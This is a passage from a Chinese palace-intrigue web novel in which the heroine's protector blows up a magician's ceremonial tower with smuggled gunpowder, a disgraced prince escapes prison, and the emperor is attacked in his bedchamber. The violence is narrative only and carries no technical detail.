她就这么残忍地沉默着,要让他明白这个道理——想什么都行,想娶她,不可能。 良久,阿夜抬起了头。 “我明白了。” 他的脸色如常,目光也很平静。 姜菡萏缓缓地松了一口气。 他应该是想通了。 * 第二天清晨,姜祯尚在睡梦中就被姜菡萏摇醒。 “哥哥,带我回京城。” 姜祯昨晚辗转反侧,后半夜才睡下,人醒了,魂还没跟上,“噢”了一声,头沾上枕头接着睡。 “哥哥!” “我来吧。”陪在姜菡萏身边的许南珠上前两步,凑在姜祯耳边,“家主大人,这里有鬼。” “啊啊啊啊!”姜祯猛地跳起来。 “……”姜菡萏都不知道自己哥哥怕鬼,她问许南珠,“你怎么知道的?” 姜祯心头一跳,在姜菡萏身后猛打眼色,让许南珠别说。 许南珠微笑:“昨天晚上碰巧知道的。” 姜菡萏同时让人叫醒丽阳和鹿长鸣,准备出发回京。 两人出现的时候皆是无精打采,两只眼睛底下一片青黑。 姜菡萏再回头看看自家哥哥,也顶着同样的黑眼圈。 看来昨天晚上发生了不少事情啊……姜菡萏心想。 风明来得最晚,因为昨天跟着许南风满山疯跑,累得快要瘫倒,睡得比猪还沉,上了马车还睡眼惺忪,不断咕哝:“呜呜呜我不想走……我才来为什么就要走……回去又要念书,我还有好多窗课没写完……呜呜呜菡萏姐姐再让我多玩两天吧……” 姜菡萏让许南风上马车,陪风明去。 风明的马车消停下来。 姜菡萏原本以为丽阳最难搞定,但没想到丽阳无比沉默,叫起便起,叫走便走,上了马车之后安安静静,一点声音也没有。 若非眼下时机不对,姜菡萏还真有点好奇昨晚发生了什么——这样的丽阳看起来好像被什么不干净的东西附了体。 马车回到京城,姜菡萏直接入宫去见太皇太后。 这位在深宫浸淫数十载的长辈永远是姜家最大的倚仗,她把鹿长鸣带给她的消息一字不漏地向太皇太后和盘托出。 “风曜并非风家血脉……好,好,好!”太皇太后望着姜菡萏,对她十分满意,“从前哀家总觉得你身子太弱,难堪大任,只想你和阿明早日完婚,入主中宫便好。但你上次能发现周勤的事,让哀家可以未雨绸缪,哀家便觉得你这孩子是个聪明能干的。没想到你竟然连冯秀亭都能招揽……菡萏,你实在让哀家惊喜。” 姜菡萏先谢过祖姑母的垂爱,然后道:“我的人会潜进降仙台,但他没办法带东西进去。山卫对冯秀亭的人提防得厉害,我只有问祖姑母讨人了。” 太皇太后道:“放心吧,哀家在宫里这么多年,折手断脚的人还是养了几个的。你把东西交给我,我来安排。” 东西就放在姜菡萏带进来的一堆匣子里。 上面是带给太皇太后的灵芝鹿茸等山货,底下是三排十二只石榴大小的陶罐。 现在的火药还是时灵时不灵,为免有些罐子关键时刻失灵,姜菡萏带了三倍的用量。 “这是何物?”太皇太后问。 “火药。”姜菡萏道,“祖姑母记得我前年生辰那日炸了丹炉吗?就是这东西。” 太皇太后并未亲眼看到那场祸事,但事后曾派赵公公前去探视,赵公公详细对她形容过那场废墟。 老人家当时便连着念了好几声“阿弥陀佛”,若非菩萨保佑,连炉子和屋子都炸了,人还能保下来?可见姜菡萏当真是天生极贵命格,连老天爷都护着。 此时太皇太后坐正来,看着那惊天动地的东西乖乖待在匣子底下:“……会炸吗?” “不点火就不会。”姜菡萏安慰她。 太皇太后点点头,放下心来,然后握住姜菡萏的手,握得很用力,深深道:“菡萏,你答应我,此生只能嫁给阿明,绝不能嫁给其它人。” “……”姜菡萏不明白太皇太后为什么好端端说这个,想了想道,“我曾跟昭惠太子定下婚约,既然昭惠太子不在,阿明才是太子,那么我自然该嫁给阿明。” ——但昭惠太子若在,那就另当别论了。 * 姜祯是在回家之后才知道这件事情的来龙去脉。 “寒鸦都进不去的地方,阿夜能进去?” 家主的书房里,姜祯来回踱步,充满怀疑,“这不可能,若论冲锋陷阵,你那个阿夜或许更厉害,但若论潜行刺杀,绝对没有人比得上寒鸦。” “我知道。但阿夜说了他可以,我便相信他。” “傻妹妹,这种不可能的事情,小心有诈!”姜祯在庆州留下的疙瘩始终没有彻底解开,想来想去,姜祯一拍大腿,“我知道了,他一定是偷偷带着你的消息去投奔虞仙芝!你可别被他卖了还给他数钱!” 姜菡萏给哥哥惹笑了,不说话,只拈起桌上的一块点心吃吃。 姜祯焦虑:“还有空吃!我问你,他有没有说他如何潜入?若是潜入失败该怎么办?降仙台尚未完工,谁也不知道哪天是请仙的吉时,万一等虞仙芝请完神了,他还没有进去,你该怎么办?” “不会的。”姜菡萏给哥哥嘴里也塞了一块点心,“他说了行,就一定能行。” 阿夜最擅长的,就是把别人觉得不可能的事情变成可能。 至于阿夜到底会用什么法子,姜菡萏也很好奇,可惜阿夜昨天连夜离开了别院,她什么也没问出来。 * 虞仙芝被押入天牢的事情是绝密,无论工匠还是山卫都没有听到半点风声。 他们只是发现之前每天都来监工的国师大人已经好些天没有出现了,冯秀亭对此给出解释:“仙台将成,国师正在持斋静坐,保持洁净之身心,接迎仙人。” 这个解释很快被大家接受。 天气一日暖似一日,降仙台也一日高似一日,终于,在五月初一这天,降仙台落成。 天牢最深处的一间牢房中,全封闭的铁门被打开。 牢房内,昔日最尊贵的国师与最得人心的皇子,蓬头垢面。他们太久没有见到光亮,下意识挡住火光,简单的动作让锁在身上的铁链发出冰冷声响。 冯秀亭在羽林卫的重重保护下宣旨:“陛下有谕,降仙台已成,罪人虞仙芝何时能上台请仙?” “请仙之吉时,我需要沐浴焚香,于宫中最高处静坐祷告,才能窥得天机。”哪怕已经到了这种境地,虞仙芝说话依然不徐不急,一如既往,“若是身在地底,身心蒙尘,如何聆听仙人旨意?” 冯秀亭没有难为虞仙芝——任何难为都已经没有意义,这个时候谁妨碍虞仙芝请仙,便是妨碍承德帝续命,没有人承受得了来自帝王的绝望之怒。 羽林卫带着虞仙芝离开,铁门再一次关上。 牢房内重新陷入黑暗。 风曜一直靠在墙壁上,乱发遮住面颊,仿佛对外界的一切失去了反应。 但当外面的脚步声全部远去了之后,他猛地拖着铁链爬到门前,开始摸索。 很快,他在门缝底下摸到了一把钥匙。 他在黑暗中微微喘息。 姓虞的一生都在故弄玄虚,但这次没有骗他。 “殿下知道我像你这么大的时候,在干什么吗?” 就在这间黑暗的牢房内,从天上落到地狱的风曜疯狂谩骂到声嘶力竭之后,虞仙芝平静地开口。 “我在偷东西。” “从很小 很小的时候,就开始偷了。” “相信我,我会为你偷来一条生路。” * 同一时间,京城的城门口,守卫们心不在焉地用枪杆推拉着百姓进门。 这些浑身穷得掉土渣子的穷人动作太慢了,很容易造成拥堵,妨碍贵人们进出城门。 忽然,一个人引起了守卫们的注意。 那是个男子,他很高大,比身边所有人都高,如同鹤立鸡群,很难让人不注意。 而且,在日渐炎热的天气里,他还披着斗篷,戴着半帽,全身上下都裹得严严实实,像是生怕被人看见脸。 守卫们互相交换一个眼神——来活儿了。 不是刚犯了事,就是人已经在通缉令上。 只要抓到,就是沉甸甸的一笔赏钱。 四下散开的守卫们聚拢,握紧枪杆开始向那人走去。 那人像是意识到不对,转身就跑。 但百姓太多,他跑不快,而守卫们则直接用长枪开路,遇见挡路的百姓直接掀翻,很快将那人团团围住。 那人不断后退,可惜守卫们的包围圈慢慢缩小,很快,枪尖抵上他的咽喉。 守卫一把掀开他的斗篷。 斗篷下面的脸暴露于五月明亮的阳光下,守卫们的眼睛里个个冒出金光——这张脸已经在城墙上挂了一年多,赏金足足有一千两白银! “是那个兽奴!”守卫们欢天喜地,“是陛下要的那个兽奴!” 第62章 第62章迎仙大典 天气越来越热,但太皇太后年老畏寒,慈宁宫中并不用冰,好在姜菡萏和风明皆是单薄身子,夏天吃鲜果都只敢用井水湃,从不用冰。 祖孙三人刚用过晚饭,风明回东宫做今日的功课,姜菡萏扶着太皇太后在庭中散步。 “明日就是吉日了。”太皇太后道,“我的人已经把火药藏在了畅风阁中,你的人如何了?” 畅风阁在斗兽场和降仙台之间,是太皇太后的手能伸到的极限位置。 再近一点,就容易被发现。 姜菡萏道:“一切妥当。” 阿夜没有传来任何消息——这就是好消息。如果有意外,阿夜一定会派人来告知。 虞仙芝出狱之后,算出来的吉时是五月初五,端午节。 按虞仙芝的说话,这是一年当中的极阳之日,地气涌到最高处,适宜仙人下降。 夏日天长,夜色来得晚,祖孙俩走了两圈正要回去的时候,赵公公过来禀报:“太后娘娘求见。” “这倒是奇了。” 太后见了太皇太后,就如同老鼠见了猫儿似的,以往避都来不及,今日竟然上门了。 “让她进来吧。” 太后扶着丽阳的手,踏着最后一缕暮色匆匆进来,行礼之后,太后着急道:“母后,您都听说了吧?明日仙人下降,满朝文武都随陛下去迎接,人人都能沾点仙气。偏偏不知哪起小人进的谗言,说什么女子属阴,会冲撞那一日的阳气,妨碍仙人下降,不让咱们去呐。” 太皇太后端着茶盏,眼皮都没有抬一下:“人家也有人家的道理,既然是陛下发的话,咱们还有什么好说的?” “唉,我倒是罢了,好吃好喝活了这么多年,死了也不亏什么。可就是我这丽儿啊,这些天里茶不思,饭不想,睡又睡不好,连话都不怎么说……您看看,瘦成了什么样!就跟换了个人似的!” 说着,把身边的丽阳推到前面来。 丽阳本是圆圆脸儿,哪怕再努力节食,脸颊上的肉依然如桃子一般饱满,这一直是丽阳最深的苦恼。 可眼下,丽阳竟然瘦出了尖削的下巴,眼睛深深凹陷,与先前判若两人。 更重要的是,若在从前,太后这么说,丽阳一定要娇嗔反驳,此时丽阳却一言不反,眼神木然。 姜菡萏原本静静侍立在太皇太后身边,这会儿忍不住向丽阳使了个眼色,丽阳像是完全看不见,只向太后道:“皇祖母,我没事,我们回去吧,我睡一觉就好了。” “睡睡睡,睡什么睡?你都睡了两三个月了!”太后头疼极了,向太皇太后道,“现在太医院这些大夫也是不中用,一天不知诊几趟脉,服几帖药,一概不管用。我思来想去,恐怕还是她上回往梁州跑,在深山里惹上了什么不干净的东西。明天仙人下降,让她也去迎一迎,靠着仙气把那东西驱走,说不定就能好起来了。” 说着,太后跪下,“我知道,我这个做媳妇的出身不好,不得您老人家喜欢。可丽儿是咱们风家的公主,打小又没了娘,做老子的也不怎么把她放在心上……现在又摊上这怪病……” 太后哽咽着,生生忍着眼泪,因为太皇太后一直嫌她不够端庄,说哭就哭,说笑就笑,没有太后的威仪。 她叩头道:“求你救救丽儿吧,现在只有您发话,陛下才听得进去。” 丽阳眨了眨眼睛,眼中多了一点泪意:“皇祖母……我真的没事……” “快别说话了。快,给太皇太后磕头,求太皇太后救命。” 太皇太后和姜菡萏交换了一个眼神,都有点叹息。 太后的做派确实是不大上得台面,但真的是把丽阳往骨头里疼。 只是明天会发生什么,姜菡萏与太皇太后都心知肚明。这种时候让丽阳去降仙台,几乎是让丽阳去送死。 “胡闹什么?”太皇太后板起脸,“陛下迎仙人,那是开国都未有的大事。你身为太后,不说助陛下一臂之力,怎么反而还带头坏事?来人,把太后送回寝宫,禁足半年。” 太后哭喊着哀求,丽阳也泪如泉涌,求太皇太后不要责罚太后。镇日安静的慈宁宫吵得一团乱,直到赵公公带着宫人把这对祖孙俩请出去,姜菡萏与太皇太后的耳边才清静下来。 太皇太后本就受不了太后这种吵闹,扶着脑门,头疼。 姜菡萏问道:“半年……会不会太久了?她也是为了丽阳好……” “菡萏,你还太年轻了。哀家罚她,不是为着明日,而是为着后头,让她莫要出来添乱。”太皇太后道,“降仙台一倒,请仙失败,虞仙芝便罪无可恕,风曜的身世亦是板上钉钉,到时朝中难免有一番动荡,何况……”太皇太后说着摇了摇头,“哀家瞧陛下那个样子,怕是撑不了多久了。” 姜菡萏这才明白太皇太后的深谋远虑。 但若是照着上一世,承德帝一直活到了永兴五年叛军破城之后。 他是死在逃往蜀中的路上,到了蜀中之后,风曜才登的基。 天子易位,确实难免动荡。只不过当时天下大乱,那点动荡便显得不足挂齿。 * 五月初五,端午节。 从清晨开始,进入宫中的大臣便络绎不绝。 姜菡萏和宫中其它女眷一样,都在后宫选了能够登高远眺的位置。 所不同的是,其它人都是说说笑笑看热闹,只有她,一直精神紧绷。 姜祯身负王爵,自然在迎仙之例,并且因为品阶极高,就在承德帝身边。 姜家其它人可以抱病或者以公务难以脱身为由,不来参加迎仙大典,姜祯却不能。毕竟事发之后,姜家家主不在,很容易落人口舌。 但幸亏有个鹿长鸣,他的脑子灵活,很快想出一个主意,向承德帝进言——仙人能为凡人续 命,需要续命的,当然是以年长者为先。所以不该按官阶排位,反该以年纪排位才是。 自古皆有尊老的传统,更何况白发苍苍者更难掩对续命的渴望,他们毫不客气地附和,为自己争取到更靠近降仙台的位置。 姜祯今年才及冠,自然远远地排了后头。 起身换位置之时,他暗暗给鹿长鸣竖了个大拇指。 朋友,有前途。 巳时正,虞仙芝身披黄色法衣,上有斑斓刺绣,头戴嵌宝莲花冠,手持玉拂尘,缓步走进降仙台。 降仙台作宝塔状,共有七层,最高层不是塔尖,而是通体由玉石砌成的楼台,上刻阴阳八卦,高耸的玉柱对应着天上七星。 底下的人不知道他尚为阶下囚,望向他的眼神依然充满敬畏。 他带着七名弟子,一层一层往上走,最后在最顶层站定,然后玉磬与金锣等法器奏响,虞仙芝手捏法诀,足踏禹步,开始作法。 七名弟子如七星般围绕着他,法衣耀目,经声悠扬,淡红色雾气不知从何处开始凝聚,慢慢笼罩在迎仙台上,渐渐随风落下,地上穿着盛妆被烈阳炙烤的人们感受到一阵阵清凉,奇异的香味弥漫在空气中。 排在前面的老臣贪婪地呼吸着香气,承德帝眼中也露出了极度的渴望神色。 降仙台很高,已经是宫中最高的建筑,无论身在宫中哪一处都能瞧见。 姜菡萏看不到地上的人是什么反应,但看得到那奇异的红雾。 她忽然想起传说中风曜出生时,便是室中生出红霞,充满异香。 这是仙人来临前的吉兆,一旦和风曜关联上,承德帝必然会被洗脑,认为风曜身上有仙人血脉,入世专为辅佐他这位明主。 快……快一点…… 姜菡萏的手紧紧扶着栏杆,指节发白。 不管虞仙芝是如何做到的,总之虞仙芝快要成功了。 世上多有无法解释的幻术,会被愚民当成仙法,顶礼膜拜。是虞仙芝要建的降仙台,定然是早就准备好了如何让众人信服。 他建此台的本意可能是为了进一步将风曜的地位抬升至仙人境界,只不过栽在冯秀亭手里,不得已变成了自救。 在这一刻她忽然懂了,为什么已经是一人之下万人之上的虞仙芝宁愿一直住在冷僻的西山,而不愿留在京中呼风唤雨,就是为了保护他身上这层连通仙界的神秘光环。 那红雾之中,开始影影绰绰,仿佛真有衣带飘飘的仙人出现。 红雾中不知是否含有某种药效,又若单纯只是被这样的“神迹”所震撼,降仙台下的人群隐隐陷入疯狂,那些一心渴求长生的人们眼睛发红,有人冲过去抱住降仙台的柱子,口中极尽恭维,仿佛抱住的是仙人的大腿。 “都退下……退下!” 承德帝肥大的身躯跪在地上,需要两名内侍扶持才不至于倒下,他在红雾中呼吸开始急促,大喝,“那是朕的,都是朕的——谁也不能跟朕抢!朕了杀了你们,通通都杀——” 他的杀声还没有落地,一声开天辟地般的巨响在所有人的耳边炸开。 动用上万名工匠、无数珍宝、倾尽承德帝所有心血而建成的降仙台像是纸糊的一般,在所有人的眼前四分五裂,离得最近的那些人发出惨叫,血肉随着降仙台的残骸飞溅。 红雾浓稠如血,仙人的幻影消失,巨响隆隆,降仙台像山一样倒塌,周遭一片尖叫声,被召唤来杀死那些臣子的羽林卫及时挡在承德帝身前,鲜血喷了承德帝一眼。 承德帝眼神发直,整个人晃了晃,仰天便倒。 * 倒下了! 倒下了! 倒下了! 阿夜做到了! 她就知道,阿夜一定可以的! 姜菡萏亲眼看着那座耸入云霄的宝塔消失在视野中,与之一起消失的还有塔顶的虞仙芝和他的弟子们。 她急急转身,提着裙子飞奔下楼,心跳得快要蹦出胸膛。 才拿到慈宁宫通行令牌的许南风立在楼下,和他在一起的还有以侍女身份随她入宫的许南珠,姐弟俩双双扶住她:“小姐,慢些!” “快去,快去降仙台!” 为了更隐蔽、更迅速地燃烧,这次的引线比任何一次都要短,周遭又是众目睽睽,姜菡萏不知道阿夜能不能顺利脱身。 她要去找他。 为此她专门带上了许南珠——许南珠的许多方面都和顾晚章很像,比如同样都很擅长诗文,还精通医理。 宫中到处是慌乱奔逃的人群。 极度的恐惧之下,人是没有理智的。 那样可怕的爆炸不属于人间,只能是仙力。 仙人不愿下降,于是降罪于世间。 所有人都从降仙台往外逃,只有姜菡萏在往降仙台走。 许南风护着她,在人海中逆流而上,撞上了正在逃命的姜祯和鹿长鸣。 “妹,你来这儿干什么?快走!”姜祯大叫。 姜菡萏一路走来,所有人都成了虚影,视野第一次清晰,看到了哥哥。 “哥,你快走。”姜菡萏道,“你要是跟我待在一起,我就没有理由去救你。” 姜祯一头雾水,觉得妹妹脑子可能被炸坏了。 “小姐要去找阿夜,但不能被外人知道。不顾一切去救相依为命的兄长,是最合理的借口。” 许南珠说着,抓起一把泥土,直接糊上姜祯的脸。 姜祯哇哇大叫。 许南珠点头:“这下小姐没能认出家主大人,也很合理。” 姜菡萏说完那句就往前走了,许南珠随后赶上去。 姜祯强忍着恶心没去擦脸上的泥,吩咐随从:“好好跟小姐去救我吧。” * 姜菡萏终于来到降仙台前。 世上已经没有降仙台了。那些美轮美奂的藻井、精雕细刻的栏杆、伟岸雄浑的梁柱、到处镶嵌的宝石……连同已经瞧不出囫囵个儿的尸体一起化作一片废墟上。 许南风觉得柔柔弱弱的小姐看不得这个,下意识想举起衣袖挡住小姐的眼睛,然后就见自家小姐扑到那片废墟,开始疯狂地挖了起来。 挖到半片窗子,面无表情扔开。 挖到一截包着金边的围栏,面无表情扔开。 挖到一只断手,面无表情扔开。 许南风:“……” 许南风:“!!!!” “别傻站着,快动手吧。”许南珠提醒,同时给了许南风一个别有深意的眼神。 她的意思是:如果挖到阿夜,顺手弄死。 阿夜太强了,这是老天爷送给他们最好的一次机会,可以神不知鬼不觉地让阿夜死于这场爆炸。 许南风迟疑一下。 他知道姐姐是对的,只要有阿夜在,他就永远无法成为姜菡萏最信任的心腹。 但他更渴望光明正大地战胜阿夜。 许家姐弟投入到挖掘之中,姜家的随从也跟着帮忙。 四处奔逃的人群中,终于有人站出来的主持大局,那是随后赶来的敬老王爷。 敬老王爷一讨厌涂脂抹粉,二讨厌求神拜佛,所以对这场迎仙大典没什么兴趣,只不过是因为圣命难违,才不得不来凑一下分子。 结果路上他的马车好端端坏了,耽搁半日才来,迎仙大典已经变成降罪大典。 敬老王爷先确认了承德帝无恙,只是人被吓昏了过去;然后派人给太皇太后送信,让太皇太后不要忧心;最后调度羽林卫拦住那些惊恐逃窜的贵人;再让自家的府卫查看有没有谁趁着水浑摸鱼……很快便控制住局面。 “好孩子,好孩子,别伤心,慢慢来,”敬老王爷亲自去扶起姜菡萏,看见小姑娘细嫩的双手被木屑的碎片扎破了,鲜血正一滴一滴往下滴,很是心疼,“你放心,我会带着人慢慢找的,你哥哥一准没事。” 太阳太大,姜菡萏眼前一阵阵发白,可能是之前跑得太急了,也可能是中暑了,她听到自己的声音轻飘飘的:“不,我要自己找。” 她在上一世见过很多 的死人,见过很多的尸首,完整的、残缺的……什么样的都见过。 可只要一想到那些残肢可能是阿夜的,她的胃就在痉挛,冷汗一阵阵往外冒。 “王爷!”冯秀亭急急跑过来,“三皇子风曜越狱了!” 这话唤回了姜菡萏的魂,她的思绪短暂地从阿夜身上离开,被这个消息震惊。 除了姜菡萏,冯秀亭是最盼着风曜死的人,所以这边一乱,冯秀亭马上就去查看天牢的情况。那群狱卒被迎仙大会的热闹吸引,一个个玩忽职守,没有一个发现风曜是如何离开的。 但承德帝把消息封锁得太紧,敬老王爷甚至都不知道风曜下狱的事,大吃一惊:“他不是去西山养病了吗?越什么狱?” 待冯秀亭把事情经过说了个明白,生平最恨有人混淆天家血脉的敬老王爷气得直瞪眼:“追!速速紧闭城门!给我追!” 姜菡萏也想不通,重重天牢中,如何能轻易越狱?就算越了狱,风曜又如何出得了宫门?他可是贤王风曜,守门的羽林卫都认得他。 忽地,她想起来了,今天那些看热闹的女眷中,没有姜蘅芷。 按说以姜蘅芷的敏锐,就算不知道风曜为什么被抓走,也该通过虞仙芝和安贵妃这些日子的悄无声息看出几分端倪。 她没有理由不关注今天的迎仙大典。 “贤王妃……”姜菡萏道,“王爷,别漏了贤王妃!” 敬老王爷即刻下令,亲自带着人去捉拿。 冯秀亭看着眼前这片废墟,以及已经被挖出来的一些断肢残首,用洒了香粉的帕子掩住鼻子:“小姐,虞仙芝死了吗?” “死了。”姜菡萏道,“就在那堆。” 那堆尸首之下,隐隐露出一截五彩刺绣的黄色法衣。 这是天师才能穿的法衣,只有虞仙师一个人有资格穿。 但冯秀亭并没有满意,他走到近前,用靴尖踢开其它碍事的,找到虞仙芝的头颅,才细细地笑出声:“尊荣无极的国师大人,原来你也有今日?” 他看了看,“啧”了一声:“真是奇怪啊,明明死了,怎么还带笑呢?” 姜菡萏闻言抬头望去,虞仙芝满是血迹的嘴角上,确实有一丝浅浅的笑意。 * 半个时辰前,天牢外。 迎仙大典轰动了整个京城,哪怕是老百姓都爬上房顶,想看个究竟,沾点仙气。 狱卒们也架上梯子,爬上房顶,朝迎仙台伸长了脖子。 当那阵红雾涌现,所有人都激动不已,在方寸之地你争我抢,都想离迎仙台更近一些。 谁也没有注意到,一名狱卒拎着水桶从牢内推门出来,走过门外。 “喂,忙什么,快上来啊!” 有人提醒他。 “唔,提桶水就来。”那名狱卒含糊说着,出了天牢的院门。 外面的阳光盛烈,他几乎睁不开眼睛。 终于出来了。 虞仙芝没有说错,五月初五午时,是他逃离天牢的最佳时机。 离开天牢只是第一步,还要避开所有人的视线,离开宫城。 狱卒的身份不再好用,他要去杀一名羽林卫,换上羽林卫的铠甲…… 忽地,一个声音在他身后响起:“殿下!” 他的背脊一僵,但没有回头,而是把桶放在一旁,匍匐跪倒在路旁——这才是一名贱役听见贵人名号时应有的反应。 “殿下,是我!” 一道人影扑在他的面前,扶起他。 他先看到一双锦缎制成的绣鞋,然后是一身浅绿色衣裙,再往上是一张梨花带雨的面庞。 是他的王妃,姜蘅芷。 一个总让他厌烦的女人。 她好像生来就觉得她应该嫁给他,事事围着他转,时时出现在他的面前,好像笃定了他非娶她不可。 她怎么敢?她怎么配? 区区一名庶女而已! 她只配在他迎娶姜菡萏为正妻之后,作为姜家陪送的一个添头——这还是看在母妃的面子上,不知为何,母妃就是喜爱她,因为明面上不能亲近,私底下不知多疼她。 他一度不解,母妃是那样聪明的人,怎么会想不到,他既然娶了姜家的嫡女做正妃,侧妃之位就该给另外一个世家,这样他才能在朝中得到更多的支持,地位才能更加稳固。 娶了嫡女又娶庶女,分明是多此一举。 可向来顺着他的母妃难得地露出一脸严肃:“你若是我的儿子,便要娶景姨的女儿,这是我们之间的约定。母妃从来求过你什么,这是母妃唯一的要求。” 风曜答应了。 但没有想到的是,他居然有朝一日会娶她做正妃。 耻辱啊。他是名满天下的贤王,却被风明背后那帮人害得身败名裂,只能靠一桩婚姻拿回王爵。 当新婚之夜挑开姜蘅芷盖头,姜蘅芷在红烛下对他露出一抹娇羞的笑容,他只觉得脸上像是挨了一记耳光。 “很好笑吗?”他冷冷问,“你觉得你救了我,是吗?你觉得没有你,我还被关着出不来是吗?” “没有……”姜蘅芷的笑容消失了,眼睫颤抖,眼中开始含上了泪意,“绝无此意……” “哭什么?连你也不愿嫁给我,所以在新婚之夜给我看一张哭脸?” “不是,不是,”她急忙解释,“能嫁给殿下,我……我心中无限欢喜。” “你自然欢喜,可若不是我落到如此田地,怎么会娶你?!” 那一夜风曜喝了很多的酒,他知道自己醉了。只有醉了,他才会向一个女子宣泄自己无能的怒火。 他恨这个女人……她就是他失败的见证。 她知道这一点,所以总是暗自垂泪。 现在,这张他平日里最讨厌的泪颜出现在面前,风曜愣了一下:“你怎么在这里?” “我一直在这里,因为我知道金鳞不是池中物,殿下一定会脱困的。”姜蘅芷含泪道,“我在这里等着殿下,殿下请随我来。” 姜蘅芷准备得很周全。 有羽林卫的铠甲,有出宫的令牌,为了让他不被盘问,更快离宫,她还准备一辆马车。 车夫驾车,宫人随行,风曜换上铠甲,戴上面罩,随行在马车旁。 贤王在西山养病,王妃要出宫去探望,又有太后给的出行令牌,马车很快被放行。 出宫后,风曜上了马车,马车载着两人,向着西城门急奔。 他的目的地在西山。在那儿,虞仙芝留了东西给他,足够他东山再起。 除了在床上,两人离得从来没有这么近过,姜蘅芷微微低下头,面颊上有了一丝红晕。 风曜沉默地别开视线。 他一直觉得是这个女人拖了他的后腿,没有想到,今天竟是她救了他。 “我娘死了。” 一个毫无起伏的声音响起,风曜发现那是他的声音。 姜蘅芷吃惊地抬头:“怎么……这到底是怎么回事?” “我娘在嫁入王府前,就和虞仙芝有私情,我是他们的私生子,不是什么殿下。”风曜面无表情地道,“姜蘅芷,你可以走了。” “殿下……” 姜蘅芷的手放在风曜的手上,如果是以前,她一定会被甩开,可是这一刻,风曜没有动。 姜蘅芷忽然有点想哭,“殿下,我知道。” 风曜慢慢把视线对准她:“你知道什么?” “你的身世,我早就知道。”姜蘅芷流泪道,“我想嫁的,从来就不是什么皇子,而是曜哥哥你这个人。” “你早就知道?!”风曜一点一点挑高了眉毛,“你早就知道我是野种?!你知道……那么菡萏是不是也知道?!所以她才那么看不上我?!” “不,只有我知道。因为我娘和娘娘是一起长大的姐妹,她们虽然不是亲姐妹,却是在街头相依为命,比亲姐妹还要亲。包括国师……也曾是和她们一起长大的流浪儿。” 姜蘅芷紧紧握着风曜的手,“他们是从市井中来的寻常百姓,现在我们不过也往朝市井中去……殿下 ,不,曜哥哥,无论你去哪里,我都跟着你,哪怕是做一对寻常百姓也愿意。” “不,什么市井?什么百姓?!”风曜厉声道,“我出生时红霞满室,人人都闻见异香,我是神仙托生的福胎,没有我,父皇就当不上皇帝!我生来非凡,绝不可能当什么市井百姓——” 他的话没有说完,嘹亮的鞭响忽然从后方传来,那是羽林卫开路的独有方式。 他掀起车帘,看见一群快马狂奔追近,当先一名羽林卫手里亮出令牌:“奉敬王之命,追拿逃犯,前方马车停下!” “殿下!”姜蘅芷惶急,她怎么也没想到这么快就被发现了。 风曜脸上的厉色不见了,神情变得从容而冷静,他看着姜蘅芷:“你是真心爱慕于我,对吗?” 姜蘅芷无声点头。 是的,那么耀眼的三皇子,她从懂事起便深深喜欢上。 “很好。”风曜在马车内弯弓搭箭,箭矢离弦,在马臀上擦出一道血痕。 一箭又一箭,四匹让他昔日引以为傲的宝马皆负了伤流血,纷纷嘶鸣,疯狂往前奔,冲出人群中。 “那就拜托你了,我的王妃。” 风曜低低在姜蘅芷耳边道,趁乱跃下马车,转眼闪身进了一户人家,只剩那辆受惊的马车狂奔,羽林卫在后面狂追不舍,迅速消失在他的视线中。 * 皇宫内,降仙台前,挖掘尸首的人们已经筋疲力尽。 能挖的都挖出来了,姜菡萏在仔细辨认,没有发现阿夜的痕迹。 许南珠轻声问:“小姐,你可知道阿夜今日穿的是什么衣裳吗?” 姜菡萏摇头。 她不知道。但她找阿夜,不用看衣裳。 阿夜身上受过多少伤,她都知道。 只要看见身上的伤势,她就认得出来。 “那么,他应该无事。”许南风道,“他顺利脱身了。” 姜菡萏猛然抬起头。 是的,阿风说得对! 阿夜没事! 原本已经快要脱力的姜菡萏顿时又有了力气:“走,回慈宁宫。” 慈宁宫的佛堂,是她和阿夜约定的碰头之处。 按照计划,她本应该在佛堂静静等待阿夜来找她。 可是那场爆炸的威力太大了,超乎她的想象,她不敢相信有人能在那样的爆炸中生还。 但,阿夜不是寻常人! 姜菡萏回到佛堂:“阿夜?” 佛堂内一片安静,她的声音甚至激起了空旷的回音。阿夜阿夜阿夜……仿佛佛主也帮着她呼喊。 没有人回答。姜菡萏把佛堂里里外外都找遍了,也没有看见阿夜。 她甚至在想,是不是阿夜来过,没有看见她,所以又去找她了?可是佛堂中纤尘不染,一个从爆炸中脱身的人,不可能没有留下任何痕迹。 ——阿夜没有回佛堂。 他会去哪里? 不知为何,姜菡萏忽然想起了阿夜离开梁州别院那一晚,他们在丹房里的对话。 一切清晰得仿佛回到那一刻,窗外夜色深沉,晚风里带着一丝寒意。 灯火昏黄,她坐在椅子上,阿夜在她面前单膝跪地,仰望着她,目光清朗而坚定。 ——“除了皇帝,我谁也不会嫁。” ——“我明白了。” 阿夜他……难不成想弑君? 这个匪夷所思的答案闯进姜菡萏的脑海。 第63章 第63章我要你嫁给我 承德帝的寝宫没有烛火,整支琉璃缠金打造的七宝烛台上搁着的是一颗颗光润柔亮的夜明珠。 夜明珠来自深海,发着清澈的光芒,整间寝宫仿佛在温柔的波光中。 这里曾经夜夜笙歌不歇,处处酒池肉林,但此时宫外一片混乱,只有这里静到极点,宫人们都心惊胆战地守在宫门外,生怕有什么动乱,或者上天又降下什么神罚。 只有几名小内侍守在寝殿外,因为冯大监特意交待过陛下受惊,应当静养,不能让任何人打扰。 一道人影悄然出现在殿内,走向龙床。 床上的承德帝陷在迷乱中,似梦非梦,似醒非醒。 在他眼前倒塌的不单是降仙台,还有他长生续命的梦想。一直以来的支撑倒塌,他的皮囊和降仙台一齐轰然倒下。 “不……不……你不能死……你不能就这样扔下朕……” 他眼望帐顶,无意识呢喃,直到眼角余光瞥见有人走近,然后他看清了那张脸。 乱发,锋利的眉峰,遍体的伤痕……那是他一直以来想要的兽奴,这几天在等候仙人下降的焦灼里,他都是在斗兽场里度过难耐的时光。看着兽奴被野兽咬伤,看着兽奴杀死野兽……血腥和杀戮让他暂时忘却身体上的痛苦。 “你……你……”承德帝想问“你怎么会在这里”,但他说不出话了,因为兽奴伸手掐住了他的咽喉。 兽奴的眼睛里没有一丝情绪,冰冷的眸子像刀锋般寒冷。 承德帝渐渐难以呼吸,面色紫胀,身体无力抖动。 阿夜微微眯起眼睛,露出一丝愉快的神情。 就在这个时候,他听到了一连串凌乱的脚步声,其中就有他最熟悉的脚步声。 “我奉太皇太后之命前来探望陛下,还不开门?”那清脆的声音响起,阿夜的手微微松了一点力道,菡萏不喜欢看他杀人。 